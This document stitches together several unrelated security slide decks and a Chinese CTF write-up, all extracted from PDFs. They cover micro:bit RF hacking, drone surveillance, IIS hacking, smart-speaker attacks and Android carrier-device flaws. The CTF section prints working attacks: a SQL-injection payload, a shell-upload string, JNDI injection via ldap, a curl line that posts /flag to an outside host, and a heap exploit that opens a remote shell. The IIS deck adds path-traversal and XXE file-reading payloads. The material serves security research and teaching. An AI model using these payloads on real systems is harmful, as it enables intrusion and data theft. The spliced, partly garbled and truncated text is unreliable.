BLE CONNECTIONS SNIFFING CONNECTION REQUESTS 0:00 / 1:21 RADIOBIT RADIOBIT Improved Micropython firmware Adds support for: EnhancedShockBurst Legacy ShockBurst Cheerson CX-10 protocol Bluetooth Low Energy RADIOBIT TOOLS ESB/SB/raw 2.4GHz sniffer Microso Wireless keyboard keylogger Cheerson CX-10 Hijacking tool http://github.com/virtualabs/radiobit CONCLUSION MICRO:BIT USAGES Cheap, tiny, battery powered RF hacking tool Allows rapid prototyping with ESB, SB, and BLE Better than Bastille's mousejack Can do even better with Micro:Bit's DAL (C++) FUTURE WORK Open source BLE sniffer (like Nordic's, but free!) Support of other 2.4GHz protocols Keyboard and mouse injection tool QUESTIONS ? CONTACT [email protected]   @VIRTUALABS   @IOTCERT
pdf
红明⾕CTF Web happysql http://eci-2ze7dlrxgodbblkyir9b.cloudeci1.ichunqiu.com/ username=aaaw2aww"|| (strcmp((select%0a*%0afrom%0af1ag),concat("flag{a4398541",char(45),"2ae3",char(45) ,"4439",char(45),"a4f6",char(45),"69eafe0e9b71}"))%0ain%0a(1))#&password=*/# writeShell http://eci-2ze7dlrxgodbcwxp83gz.cloudeci1.ichunqiu.com/?action=upload&data=%3C? =`cat\$IFS/!whatyouwantggggggg401.ph*`?%3E easytp 尝试出弱⼝令123456..... 然后读flag javaweb /login/..;/json 绕过鉴权访问/json接⼝ jackson反序列化,post Logback反序列化链进⾏JNDI注⼊ ["ch.qos.logback.core.db.JNDIConnectionSource", {"jndiLocation":"ldap://ip:8013/#Exploit"}] 由于jdk版本过⾼,⽆法加载远程class,这⾥参考http://www.yulegeyu.com/2018/12/04/JN DI-Injection-Via-LDAP-Deserialize/ 利⽤LDAP Server返回序列化数据触发反序列化。尝试 反弹shell失败,最终使⽤cc5 curl http://ip:port/ -d @/flag拿到flag。 Reverse g0 https://pan.baidu.com/s/1ey1E5pa7tevQs7-qRpwOwA 提取码:GAME 输⼊经过简单乱序后直接作为bigint的rawbytes(big endian),经过base58编码后与预定值⽐较 Pwn 双边协议1.0 nc 8.140.179.11 13452 获得权限后,执⾏pwn⽂件同⽬录下的"getflag",并输⼊队伍token,即可获取flag。 https://pan.baidu.com/s/1jPP-0fa73PMHiCh-HaKvJg 提取码:GAME add 之后 再改个⼤size 似乎就可以溢出了 import base58 1 import string 2 3 def deb58(enc): 4     tbl0 = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz' 5     tbl1 = '12Nrst6CDquvG7BefghJKLMEFHPQZabRSTUVmyzno89ApwxWXYcdkij345' 6     trans = enc.translate(enc.maketrans(tbl1, tbl0)) 7     return base58.b58decode(trans) 8 9 if __name__ == '__main__': 10     ret = deb58('2GVdudkYo2CBXoQii7gfpkjTc4gT') 11     flag = ret[15:]+ret[0:5]+ret[10:15]+ret[5:10] 12     print(flag) 13 14 from pwn import * 1 2 # s = process("./Maybe_fun_game") 3 s = remote("8.140.179.11","13452") 4 5 def parse(buf,size=8): 6 buf = str(buf) 7 tmp = '' 8 tmp += p64(0x1234567812345678) 9 tmp += p64(len(buf)+0x20+size) #c8 10 tmp += p64(size) #d0 11 tmp += p64(len(buf)) #d8 12 for i in range(size): 13 tmp += '\x41' 14 tmp += str(buf) 15 return b64e(tmp) 16 17 def get(buf): 18 return b64d(buf)[0x28:] 19 20 def add(size,buf=''): 21 s.sendlineafter("eFY0EnhWNBIxAAAAAAAAAAgAAAAAAAAACQAAAAAAAABBQUFBQUFBQUNob 2ljZSA/Pg==",parse(1)) 22 s.sendlineafter("eFY0EnhWNBIvAAAAAAAAAAgAAAAAAAAABwAAAAAAAABBQUFBQUFBQVNpe mUgPj4=",parse(size)) 23 s.sendlineafter("eFY0EnhWNBIyAAAAAAAAAAgAAAAAAAAACgAAAAAAAABBQUFBQUFBQUNvb nRlbnQgPj4=",parse(buf)) 24 25 def free(): 26 s.sendlineafter("eFY0EnhWNBIxAAAAAAAAAAgAAAAAAAAACQAAAAAAAABBQUFBQUFBQUNob 2ljZSA/Pg==",parse(2)) 27 28 def edit(buf): 29 s.sendlineafter("eFY0EnhWNBIxAAAAAAAAAAgAAAAAAAAACQAAAAAAAABBQUFBQUFBQUNob 2ljZSA/Pg==",parse(3)) 30 s.sendlineafter("eFY0EnhWNBIyAAAAAAAAAAgAAAAAAAAACgAAAAAAAABBQUFBQUFBQUNvb nRlbnQgPj4=",parse(buf)) 31 32 def show(): 33 s.sendlineafter("eFY0EnhWNBIxAAAAAAAAAAgAAAAAAAAACQAAAAAAAABBQUFBQUFBQUNob 2ljZSA/Pg==",parse(4)) 34 35 # raw_input(">") 36 s.sendlineafter("eFY0EnhWNBIxAAAAAAAAAAgAAAAAAAAACQAAAAAAAABBQUFBQUFBQUNob 2ljZSA/Pg==",parse(1)) 37 s.sendlineafter("eFY0EnhWNBIvAAAAAAAAAAgAAAAAAAAABwAAAAAAAABBQUFBQUFBQVNpe mUgPj4=",parse(0x10,0x300)) 38 s.sendlineafter("eFY0EnhWNBIyAAAAAAAAAAgAAAAAAAAACgAAAAAAAABBQUFBQUFBQUNvb nRlbnQgPj4=",parse('BBBBBBBBBBB')) 39 add(0x60,'\n') 40 show() 41 s.recvline() 42 tmp = get(s.recvline()).ljust(8,'\x00') 43 tmp = u64(tmp) 44 libc = tmp-0x3c4b0a 45 success(hex(libc)) 46 Crypto RSA Attack 直接开⽴⽅就完事了。。。 EasyCRT s.sendlineafter("eFY0EnhWNBIxAAAAAAAAAAgAAAAAAAAACQAAAAAAAABBQUFBQUFBQUNob 2ljZSA/Pg==",parse(1)) 47 s.sendlineafter("eFY0EnhWNBIvAAAAAAAAAAgAAAAAAAAABwAAAAAAAABBQUFBQUFBQVNpe mUgPj4=",parse('A'*0x60,0x60)) 48 49 # gdb.attach(s,"b *$rebase(0xbc1)\nc") 50 51 add(0x60,p64(libc+0x3c4aed)) 52 add(0x60,p64(libc+0x3c4aed)) 53 add(0x60,p64(libc+0x3c4aed)) 54 one = libc+0xf0364 55 add(0x60,'A'*19+p64(one)) 56 57 58 s.interactive() 59 60 # 0x45226 execve("/bin/sh", rsp+0x30, environ) 61 # constraints: 62 # rax == NULL 63 64 # 0x4527a execve("/bin/sh", rsp+0x30, environ) 65 # constraints: 66 # [rsp+0x30] == NULL 67 68 # 0xf0364 execve("/bin/sh", rsp+0x50, environ) 69 # constraints: 70 # [rsp+0x50] == NULL 71 72 # 0xf1207 execve("/bin/sh", rsp+0x70, environ) 73 # constraints: 74 # [rsp+0x70] == NULL 75 from Crypto.Util.number import long_to_bytes 1 nl = [9256841967473129008832162135648216050689780561572256859410844934710492435 74041834769116427778558209913988811567640681848407688737497180935987125511 42529474514837161712525386555067489900887826033760157015587905876891826276 88335942504810638348931655560068013737703413659976190020386333633283452498 1581608546277, 15639647381856354102448201437286692960519844338252419687936228422409911740 2 12206790111567234625105651315559494710599641797679459604984730120082200451 05490122503438703770112687917922899337041421537937431868908340506324082719 41774790232011790416658437462882836780101253392677631354452557330267470286 7896838756349, 15839483324362034517031395747979608139044630875316326729442747118101267987 90609216762873611749263100805000035407732610120056820507431881103358722169 92843352902160171999286576526304619756655278142788064189969927027027650043 64561344144992663338080929572097730296131097836057568468981166268979819683 2145977450067, 16008823701315299606230371934527559004082029886372967066062154462545163854 19311390261144804527483979011559238904654159461500762726842518671698931632 48736673419035618274961179288085209456220719404244194802327491684233804878 01316026279883173844179044374381336817349502917039301872720404259945782916 7334217403039, 17612536142238485266544780415003017400884948702072829616934009361855936712 70863817783316130435950107962957723947082221847037012306856091727677614266 20379001062695169120599393984950488304290958534830276649464003949555105491 11765679677765762081266961275246459172887319983220061633811246010096728882 9163217253937] el = [6931202800935528736915119091468197851522490209912662628810620248156108386 95123819764668009120491725574799564001892811797898501823671923243702928805 08005951892909864237831856642160554901550928757105750738313195248541515727 62421604843659380417631746536638002276445979950685849598181782267095752670 5611211712923, 75652848678989239962391202584125835503829570694373189157636155436633908234 36297383925155054297572578918889501009691757411892419008188636504187017320 35668900154767618575469149599287311406193416349831449099621067590489180252 48827973161384045263311189477657141886093632791593341193393085433749877270 828641736687, 33787880341418355427411601538315129862488529656310145182009801227014512555 03682262321554592775063203148385686502793851814408175123347524836149018917 99886373424298056073526705435557438223905559495690613407410150734820510599 72283793490798701339277926430357560613555427570475360496737455291914090967 005368044847, 45894271603047945281790624112313938740541711331584775481261776728213544262 10883585964200314081457179683841888927062580615975547866985811368747641724 07303857071712899220649650842830277303931462197882286897788732666186634732 31744646293406030907691363263939114550226424730102211751706087680590823466 426973879111, 39462780066564051085365889083337472288277223628014907704844994419242541623 36892009639558166720790987294469262739466503872939840584187533412821133754 42051438766529490048179621239511327538017071343331323590393762833316859976 19531570270269964807335633423631078057345827010794671894948828680193958561 375351954627] 3 cl = [7065653173986333462906949523111666237703897475039539702548896222110150974 72765489676349936599997109100148837713409666075736711752497174928509516666 21012485078239657326820091934500574290513176979971967775816373027085724550 4 Misc inputMonitor 90378602527004761020904385015798863214860957677370068476926326496525287939 34802014895, 39976293505792731417500342473259466413746324373570160856607039564687056797 06811404489130989016000154774629067808987595323072022939629368603753913337 85860459647933874336793048991585468348373141011380694009943347200710060488 15998660691472991971598192116289517127819703723844842002711298154106615035 755646791235, 82622936948791971063481195310587447614375265630407688161651173440160941964 83917327311552680224067277668158016909237167767370903757931809062204001803 07301653719973311461717512287915247476222852565917794192748456595670015221 82995468819720594650389854677582186770321424062935881407083956991646633760 500152137305, 47924672523033740219454774309397006543851002473271747603676349322670782245 51963728631408845713259081616587645161523593768307485292025058415568279159 51163590548899408422813247094266167717653128258426342376782432133505513426 90870568516232078792788925700389762945955053433276153136302757700081859531 596237286407, 15746272064497025605084343445982824713925614040640942989641831710906436593 62949392441592925501844824699728192581841198655983469219092200602661452411 64734603316978286567811044606538176157224828857158099074286931716459626013 07967789535721221117653550032706437507366268480117554551938247088623920902 0257096407424] 5 e1,e2,e3,e4,e5 = el 6 n1,n2,n3,n4,n5 = nl 7 c1,c2,c3,c4,c5 = cl 8 9 M = matrix(ZZ, 6, 6) 10 M[0, 0] = n1^0.5 11 M[0, 1] = e1 12 M[1, 1] = -n1 13 M[0, 2] = e2 14 M[2, 2] = -n2 15 M[0, 3] = e3 16 M[3, 3] = -n3 17 M[0, 4] = e4 18 M[4, 4] = -n4 19 M[0, 5] = e5 20 M[5, 5] = -n5 21 S = M.LLL() 22 d = abs(S[0][0])/M[0][0] 23 print(d) 24 print(long_to_bytes(d)) 25 recent⾥⾯有hidden.zip的快捷⽅式 Activity db⾥⾯有记事本,Edge,DumpIt C : \ U s e r s \ l i n k 3 \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ I n p u t M e t h o d 输⼊法感觉有东⻄ http://hage4242.seesaa.net/article/475443909.html?seesaa_related=category 去分析输⼊法的预测历史,得到密码是六个⽂字,有志者事竟成 解压得到⼀个pdf 使⽤⾼贵的acrobat Pro编辑pdf,得到flag 签到 q1=C&q2=B&q3=C&q4=A&q5=D&q6=A&q7=A&q8=C 别问,问就是爆破 歪⽐歪⽐ 给出的数字⼿动加⼀下刚好是1000,应该是频率,根据频率想到了huffman编码,构建编码表 并解码
pdf
Practical Aerial Hacking & Surveillance Glenn Wilkinson SensePost DefCon 2014 @glennzw Glenn Wilkinson @glennzw SensePost.com @glennzw @glennzw @glennzw @glennzw @glennzw Practical Aerial Hacking & Surveillance? @glennzw https://www.eff.org/issues/surveillance-drones https://www.eff.org/deeplinks/2012/01/drones-are-watching-you @glennzw https://www.youtube.com/watch?v=BlVjdUkrSFY @glennzw Overview 1.Aerial Platform 2.Ground control / automation 3.Hacking / surveilling payload 4.A methodology @glennzw 1. Aerial Platform • Multi-rotor vs Fixed wing • Flight controller • Cameras • GPS @glennzw Wing vs Multi-rotor @glennzw Flight Controller @glennzw Cameras @glennzw Cameras @glennzw GPS @glennzw Other considerations • Battery • ESC • Motors / propellers @glennzw Form Factor Practicality Barrier to entry Practicality @glennzw 2. Ground Control / Automation @glennzw http://www.qgroundcontrol.org/ @glennzw www.DroneDeploy.com @glennzw 3. Payload @glennzw @glennzw D.T.F @glennzw @glennzw @glennzw @glennzw @glennzw @glennzw It’s open source! • In progress: • GSM, iBeacon, SDR, ZigBee, ANT, NFC, RFID • Other ideas: • OpenCV, physical detection https://github.com/sensepost/snoopy-ng @glennzw 4. Methodology Vehicle Payload Autonomy Ground Control @glennzw Use Cases @glennzw Use Cases @glennzw Use Cases @glennzw Use Cases DeAuth DeAuth DeAuth @glennzw [Video Demo] @glennzw Snoopy’s friends... @glennzw Retail @glennzw Military @glennzw Text http://dronesurvivalguide.org @glennzw The good! @glennzw Site launch! http://www.sensepost.com/blog @glennzw #SnoopySensor @glennzw http://www.sensepost.com/blog @glennzw Mana From Heaven: Improving the state of wireless rogue AP attacks Saturday, 4pm, Penn & Teller @glennzw [email protected] [email protected] http://research.sensepost.com/
pdf
Hacking IIS w/ shubs Dealing with HTTPAPI 2.0 Assets Have you seen this before? • Either, you’re missing the subdomain associated with the IP address (No SSL certificate) • Or the subdomain doesn’t resolve but you can obtain a full/partial subdomain from the SSL certificate Resolving the HTTPAPI 2.0 404 Error • This is super simple, but often people skip assets when they see the HTTPAPI 2.0 404 error. This error usually means that the asset needs the correct host header to route to the application. • You’re not always fortunate enough to have the full subdomain provided to you via the SSL certificate. • If you know the hostname, simply provide the hostname in the HTTP Host header. • Sometimes you have to bruteforce VHosts until you can access the application. After fixing the host header • Add a line to your /etc/hosts file to map the correct host name to the IP address of the asset. • Run all of your scanning again, including your enumeration through IIS shortname scanner. • Perform VHost enumeration/bruteforcing to see if there are any other applications that are present on the host. • Find all other assets that respond with HTTPAPI 2.0 404 errors and apply the same workflow (rinse and repeat). VHost Hopping Accessing an internal admin panel via VHost Hopping ($1900) • Came across an asset that looked something like apply.company.com running IIS. • Used a large subdomain wordlist to bruteforce VHosts using Burp Intruder (%bruteforce%.company.com). • Large and different response returned for mssql.company.com which was not accessible externally, only accessible through “VHost Hopping”. • This was running a MSSQL database manager/explorer (https:// sourceforge.net/projects/asp-ent-man/). Accessing the VHost • Often, on IIS servers, there may be internal applications running under a different host name. Host name bruteforcing / VHost hopping is very effective in IIS environments. • A simple match and replace rule to facilitate the access: Reap the benefits Reap the benefits Local File Disclosure to DLLs Typical Local File Disclosure in C# [Route("v1/DownloadCategoryExcel")] public HttpResponseMessage DownloadCategoryExcel(string fileName) { string path = HttpContext.Current.Server.MapPath("~/Content/PDF/" + fileName); HttpResponseMessage httpResponseMessage = new HttpResponseMessage(HttpStatusCode.OK); FileStream fileStream = new FileStream(path, FileMode.Open); httpResponseMessage.Content = (HttpContent) new StreamContent((Stream) fileStream); httpResponseMessage.Content.Headers.ContentDisposition = new ContentDispositionHeaderValue("attachment"); httpResponseMessage.Content.Headers.ContentDisposition.FileName = Path.GetFileName(path); httpResponseMessage.Content.Headers.ContentType = new MediaTypeHeaderValue("application/octet-stream"); httpResponseMessage.Content.Headers.ContentLength = new long?(fileStream.Length); return httpResponseMessage; } Local file disclosure? web.config is your friend. • Follow this resource: https://bit.ly/36D3WQg (From Path Traversal to Source Code in Asp.NET MVC Applications - Minded Security) • DownloadCategoryExcel?fileName=../../web.config • DownloadCategoryExcel?fileName=../../global.asax • <add namespace="Company.Web.Api.dll" / > • DownloadCategoryExcel?fileName=../../bin/Company.Web.Api.dll • Repeat for other namespaces if necessary. Local File Disclosure → RCE ASP.NET Viewstate Deserialization • Nominated for a pwnie award for “most under hyped research”
 https://bit.ly/2MzJ1qI & white paper: https://bit.ly/2NDZc73 • For IIS webservers, if you can read the web.config file, you can almost always get RCE. • Obtain the machineKey variable from the web.config file (validationKey, decryptionKey) • https://github.com/0xacb/viewgen • VIEWSTATE → ObjectStateFormatter (Insecure Deserialization) → RCE Using DNSpy Targeting Dependencies • Let’s say you come across an endpoint like the following: • /admin/cutesoft_client/cuteeditor/uploader.ashx • Cutesoft Editor is available for download via http://cutesoft.net/downloads/ 12/default.aspx. • The ZIP file that can be downloaded from the above URL contains a number of DLL files, but no source code. • We can use DNSpy to analyse the source code and find vulnerabilities. Source Code Analysis through DNSpy • https://github.com/dnSpy/dnSpy/releases • DNSpy is capable of reversing assemblies (i.e DLL files) back into source code. Simply load the DLL file and export the source code project. Navigating through DNSpy Complex XXE Vectors Constraints • No outbound HTTP traffic. The only outbound traffic possible is DNS. • Your external entity is not being displayed in the response anywhere. • You cannot use an external DTD because you cannot reach your external host via HTTP. • Thankfully, stack traces are enabled. • How do you exploit this XXE? • XXE Payloads available here: https://bit.ly/3cF8pWs Local DTDs (Attempt 1) • https://bit.ly/2LjXoyM (Exploiting XXE with local DTD files) <?xml version=”1.0″ ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///C:/Windows/System32/wbem/xml/cim20.dtd"> <!ENTITY % SuperClass '> <!ENTITY &#x25; file SYSTEM "file:///c:/windows/system.ini"> <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>"> &#x25;eval; &#x25;error; '> %local_dtd; ]> <message>any text</message> Local DTD Local File
 to Read Side
 Channel
 Leak Stack Trace But No Love Error parsing request: System.Xml.XmlException: An error occurred while parsing EntityName. Line 37, position 46. at System.Xml.XmlTextReaderImpl.Throw(Exception e) at System.Xml.DtdParser.ScanEntityName() at System.Xml.DtdParser.ScanLiteral(LiteralType literalType) at System.Xml.DtdParser.ScanEntity2() at System.Xml.DtdParser.ParseEntityDecl() at System.Xml.DtdParser.ParseSubset() at System.Xml.DtdParser.ParseInDocumentDtd(Boolean saveInternalSubset) at System.Xml.DtdParser.Parse(Boolean saveInternalSubset) at System.Xml.DtdParser.System.Xml.IDtdParser.ParseInternalDtd(IDtdParserAdapter adapter, Boolean saveInternalSubset) at System.Xml.XmlTextReaderImpl.ParseDtd() at System.Xml.XmlTextReaderImpl.ParseDoctypeDecl() at System.Xml.XmlTextReaderImpl.ParseDocumentContent() at System.Xml.XmlLoader.Load(XmlDocument doc, XmlReader reader, Boolean preserveWhitespace) at System.Xml.XmlDocument.Load(XmlReader reader) at System.Xml.XmlDocument.LoadXml(String xml) No data, parsing error 😭 Local DTDs (Attempt 2) • A huge thank you to Robert Vulpe on Twitter for this trick: @nytr0gen_ <?xml version=”1.0″ ?> <!DOCTYPE doc [ <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> <!ENTITY % SuperClass '> <!ENTITY &#x25; file SYSTEM "file://D:\webserv2\services\web.config"> <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM 
 &#x27;file://nonexistent/#&#x25;file;&#x27;>”> &#x25;eval; &#x25;error; <!ENTITY test "test"' > %local_dtd; ]><xxx>cacat</xxx> Added a # so that the
 file entity is a part
 of a fragment 
 identifier 🎉🎉🎉🎉 Fragment Identifier
 Error Partial File Contents Partial Fuzzing w/ Short Names Logical fuzzing of files and folders • After running Shortname Enumeration on your target, you may end up with output like so: › go run cmd/shortscan/main.go http://redacted/ Shortscan v0.4 // an IIS short filename enumeration tool by bitquark Target: http://redacted/ Running: Microsoft-IIS/8.5 (ASP.NET v4.0.30319) Vulnerable: Yes! -------------------------------------------------------------------------------- ASPNET~1 ASPNET? ASPNET_CLIENT LIDSDI~1 LIDSDI? LIDSSE~1 LIDSSE? LIDSTE~1 LIDSTE? EASYFI~1 EASYFI? -------------------------------------------------------------------------------- Finished! Requests: 250; Retries: 0; Sent 48277 bytes; Received 105151 bytes Logical fuzzing of files and folders • Try and find the most logical cut off point. • For example, for ffuf, you would put use the following fuzzing pattern: • LIDSDI_____ → LIDSFUZZ • LIDSSE_____ → LIDSFUZZ • EASYFI_____ → EASYFUZZ • ./ffuf -w final_wordlist.txt -D -e asp,aspx,ashx,asmx -t 1000 -c -u http://redacted/lidsFUZZ SSH: shubs@mothership ~/w/ffuf-brute $ ./ffuf -w final_fucking_wordlist.txt -D -e asp,html,aspx,ashx,asmx \ -t 1000 -c -u http://161.215.212.13/lidsFUZZ /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1.0 ________________________________________________ :: Method : GET :: URL : http://161.215.212.13/lidsFUZZ :: Wordlist : FUZZ: final_fucking_wordlist.txt :: Extensions : asp html aspx ashx asmx :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 1000 :: Matcher : Response status: 200,204,301,302,307,401,403 ________________________________________________ test [Status: 301, Size: 154, Words: 9, Lines: 2] TEST [Status: 301, Size: 154, Words: 9, Lines: 2] Test [Status: 301, Size: 154, Words: 9, Lines: 2] display [Status: 301, Size: 157, Words: 9, Lines: 2] Display [Status: 301, Size: 157, Words: 9, Lines: 2] Service [Status: 301, Size: 150, Words: 9, Lines: 2] :: Progress: [700801/700801] :: Job [1/1] :: 4800 req/sec :: Duration: [0:02:26] :: Errors: 0 :: • ./crunch 0 3 abcdefghijklmnopqrstuvwxyz0123456789 -o 3chars.txt • https://bit.ly/3q2yFwY More resources on hacking IIS • https://bit.ly/3uzOP4N → Assetnote Youtube Channel • https://youtu.be/HrJW6Y9kHC4 → Hacking IIS Part 1 • https://youtu.be/_4W0WXUatiw → Hacking IIS Part 2 • http://soroush.secproject.com/blog/ → My favourite blog on IIS hacking • https://twitter.com/bitquark → Building an amazing IIS shortname scanner • https://twitter.com/nytr0gen_ → Discovered the XXE technique for partial leakage via fragment identifier errors assetnote.io @assetnote
pdf
启明星⾠辰辰ADLab 智能语⾳音设备安全研究 演讲⼈人:王启泽 2019 PART 01 背景 ⽬目录 CONTENTS PART 02 ⽹网络安全 PART 03 语⾳音安全 PART 04 隐私审计 01 02 03 04 PART 01 背景 语⾳音正成为⼈人与设备交互的⽅方式 语⾳音包括相当丰富的信息 • 性别.年年龄 • 环境.健康 • 想法.情绪 • 籍贯 我们研究的对象 我们关注的点 安全及隐私 PART 02 ⽹网络安全 ⾳音箱⽹网络架构 云平台 客户端 智能⾳音箱 https/mqtts https/mqtts dlna/蓝⽛牙 智能设备 ⾃自定协议 云平台的特权命令 /打开远程shell /更更换语⾳音云服务地址 /system(*) 智能⾳音箱 云平台 客户端 伪造特权命令 智能⾳音箱攻击演示-特权命令 智能⾳音箱攻击演示-设备间通信 当房间⾥里里存在多个⾳音箱时, 多个⾳音箱之间需要协商, 决定由哪个⾳音箱来响应⽤用户的语⾳音命令 多⾳音箱场景 能量量列列表⾥里里最⼤大的IP 接受语⾳音命令 伪造语⾳音⼴广播 (能量量:99.00, IP:192.168.1.2) 攻击者(IP:192.168.1.3) ⽬目标⾳音箱(IP:192.168.1.2) 多⾳音箱场景 设备⼴广播 智能⾳音箱 伪电视 设备伪造 访问设备⽹网址,确认设备是⽬目标设备 我要看成⻰龙的电影 我要看成⻰龙的电影 智能⾳音箱 伪电视 设备伪造 漏漏洞洞列列表 漏漏洞洞编号 危害 CNVD-2019-13611、CNVD-2019-06254 CNVD-2019-05625、CNVD-2019-05626 远程命令执⾏行行、远程代码执⾏行行 CNVD-2019-07688、CNVD-2019-15526 播放恶意⾳音频 CNVD-2019-12111、CNVD-2019-13278 敏敏感信息泄漏漏 CNVD-2019-12775 语⾳音窃听 PART 03 语⾳音及内容安全 语⾳音安全 语⾳音唤醒/声纹识别 声⾳音传播 语⾳音识别/语义理理解 内容 超声波 超声波攻击 听不不到 识别 次声波 ⼈人⽿耳可听声 超声波 20hz 20Khz 超声波攻击-演示 1. 笔记本电脑喇喇叭性能的提升 使得攻击者⽆无需额外硬件即 可发出超声波信号。 2. 新型的智能⼿手机依然存在问 题 1.基于韵⺟母的攻击 语⾳音识别攻击-基于发⾳音模型的攻击 每个汉字的发⾳音都是由声⺟母、韵⺟母两部分构成的。 声⺟母部分发⾳音时间短,信号变化剧烈烈; ⽽而韵⺟母部分发⾳音时间⻓长,是声带共鸣产⽣生,携带了了⾳音节的⼤大部分能量量。 韵⺟母是由元⾳音或元⾳音加辅⾳音组成。 某唤醒词算法主要根据元⾳音来判断 1.上海海同学(shang hai tong xue) 2.⼩小爱同学(xiao ai tong xue) 唤醒词识别攻击示意 ⼩小爱同学 上海海同学 唤醒词识别攻击-演示 声纹识别 语⾳音VAD 声纹数据 库 语⾳音VAD 特征提取算法 有效语⾳音提取 有效语⾳音提取 声纹特征提取 声纹特征提取 特征⽐比对 模式⽐比对算法 声纹录⼊入 声纹识别 常⻅见的声纹算法攻击 • 拼接合成攻击 • 样本攻击 • 持续语速变化攻击 • 端到端攻击 • 录⾳音攻击 (D1+D2+D3+…D8)/8 (80+80+80+40+40+40+40+40)/8=55 声纹识别攻击-声纹⽐比对算法 ⿊黑客声⾳音 声纹验证 执⾏行行 语⾳音命令 声⾳音识别算法攻击-声纹⽐比对算法 • 声纹识别没有错误次数限制 • 持续变化语速导致评分标准浮动⼤大 • 中性的声⾳音得分较⾼高 声纹识别算法-攻击演示 语⾳音命令 敏敏感词 内容安全 获取应答内容 ⽂文字转语⾳音 播放 语义识别 内容安全-攻击演示 语⾳音命令 中英⽂文敏敏感 词 内容安全 获取应答内容 ⽂文字转语⾳音 播放 语义识别 中英⽂文敏敏感 词 PART 04 隐私审计 隐私权 权利利 内容 ⽤用户有权⼒力力决定 哪些他本⼈人的信息可以被收集,什什么时候收 集、什什么地点收集。 ⽤用户有权⼒力力了了解和决定 这些数据是如何被收集的,这些数据将对谁共 享,为什什么要对他⼈人分享,如何对他⼈人分享。 语⾳音设备使⽤用场景的隐私泄露露 阶段 敏敏感信息 设备注册阶段 地理理位置,周边WIfi信息,路路由器器 MAC地址,WI-FI密码,已安装应⽤用 情况,短/彩信 设备使⽤用阶段 ⾳音频信息,通信录,设备使⽤用情况, 业务的使⽤用情况,⽇日志, ⾳音视频信 息标号 ⼏几种常⻅见的隐私⻛风险 问题点 危害 误唤醒 泄漏漏通话内容 APP权限 泄漏漏通信录等敏敏感信息 ⽇日志收集 泄漏漏Wifi密码等信息 API接⼝口 合作⼚厂家可以获得⾮非业务需要的敏敏感 信息 明⽂文通信 泄漏漏⽤用户账户及密码等信息 总结 物物间通信场景更更多: 声纹识别算法: 公众对隐私的关注度越来越⾼高: 需要关注设备间认证的安全 ⼤大多商⽤用算法还不不成熟 需要关注设备及数据的隐私保护 感谢 ADLab⼩小伙伴 KCon组委会 谢谢观看 演讲⼈人:王启泽 Email:[email protected]
pdf
Vulnerable Out of the Box: An Evaluation of Android Carrier Devices Ryan Johnson - Kryptowire Angelos Stavrou - Kryptowire This work was supported by the Department of Homeland Security (DHS) Science and Technology (S&T) via award to the Critical Infrastructure Resilience Institute (CIRI) Center of Excellence (COE) led by the University of Illinois at Urbana-Champaign (UIUC). The views and conclusions contained herein are those of the authors and should not be interpreted as necessarily representing the official policies or endorsements, either expressed or implied, of DHS. Why Look for Cyber Threats? Aggressive data collection – Exfiltration of sensitive user-data to China (Adups) – Sensitive data collection (OnePlus 5) Remote system compromise – System compromise from insecure network communications (Ragentek) User data disclosure due to vendor modifications – Samsung leaking log data (CVE-2017-7978) – MediaTek leaking log data (CVE-2016-10135) Local “root” privilege escalation – Alcatel A30 (former Amazon Prime Exclusive Device) – Leagoo P1 – Privileged EngineerMode app (OnePlus 5) – Android 4.4 devices with a MediaTek chipset 2 Pre-installed Apps and Vendor OS Modification Android devices contain a set of pre-installed apps – May not be available on Google Play – Some apps cannot be disabled – Privileged platform apps Pre-installed apps can be malicious and/or insecure – Insecure apps can be locally or remotely exploited – Malicious apps can provide “backdoor” functionality and may exfiltrate sensitive user data Vendors generally modify Google’s official Android code to provide custom behavior – (Un)intentionally expose sensitive capabilities 3 Source: https://developer.android.com/guide/platform/index.html App Components Fundamental functional blocks of an Android app – Activity – Broadcast Receiver – Service – Content Provider Declared in the app’s manifest file May provide accessible entry-points into an app for other apps to exploit by using intents which are a message-like abstraction for communication within between apps – Contains Intent-specific fields and potentially embedded data 4 Exported App Components Exported components are accessible to any process on the device – Regulated by the android:exported and android:permission app component attributes Android will export components, by default, if the app component does not use the android:exported attribute and declares at least one intent-filter 5 <service android:name="com.asus.dm.installer.DMInstallerService"> <intent-filter> <action android:name="com.asus.dm.installer.sync_apk_data"/> <action android:name="com.asus.dm.installer.startService"/> <action android:name="com.asus.dm.installer.download_app"/> <action android:name="com.asus.dm.DMService.app_install_start"/> <action android:name="com.asus.dm.DMService.app_install_result"/> <action android:name="com.asus.dm.DMService.registerConnectivity"/> <action android:name="com.asus.dm.installer.removeService"/> </intent-filter> </service> DMInstallerService will be exported by default Threat Model A low-privilege third-party app is installed on the device via app repackaging, phishing, remote exploit, etc. – Possibly, the READ_EXTERNAL_STORAGE permission is needed – A malicious app without malicious permissions 6 Android Devices on US Carriers - Vulnerabilities ZTE Blade Spark (sold by AT&T) – Write modem and logcat logs to external storage LG Phoenix 2 (sold by AT&T) – Write logcat logs to app’s private directory – Lock user out of their device Asus ZenFone V Live (sold by Verizon) – Command execution as system user – Take and write screenshot to external storage ZTE Blade Vantage (sold by Verizon) – Write modem and logcat logs to external storage Essential Phone (sold by Sprint) – Programmatic factory reset Coolpad Defiant (sold by T-Mobile) – Send, read, and modify text messages – Programmatic factory reset – Obtain phone numbers of contacts T-Mobile Revvl Plus (Coolpad) (sold by T-Mobile) – Send, read, and modify text messages – Programmatic factory reset – Obtain phone numbers of contacts ZTE ZMAX Pro (sold by T-Mobile) – Send, read, and modify text messages – Programmatic factory reset – Obtain phone numbers of contacts – Write modem and logcat log to external storage LG G6 (sold by Multiple Carriers) – Lock user out of their device – Get logcat log and kernel logs ZTE ZMAX Champ (sold by Total 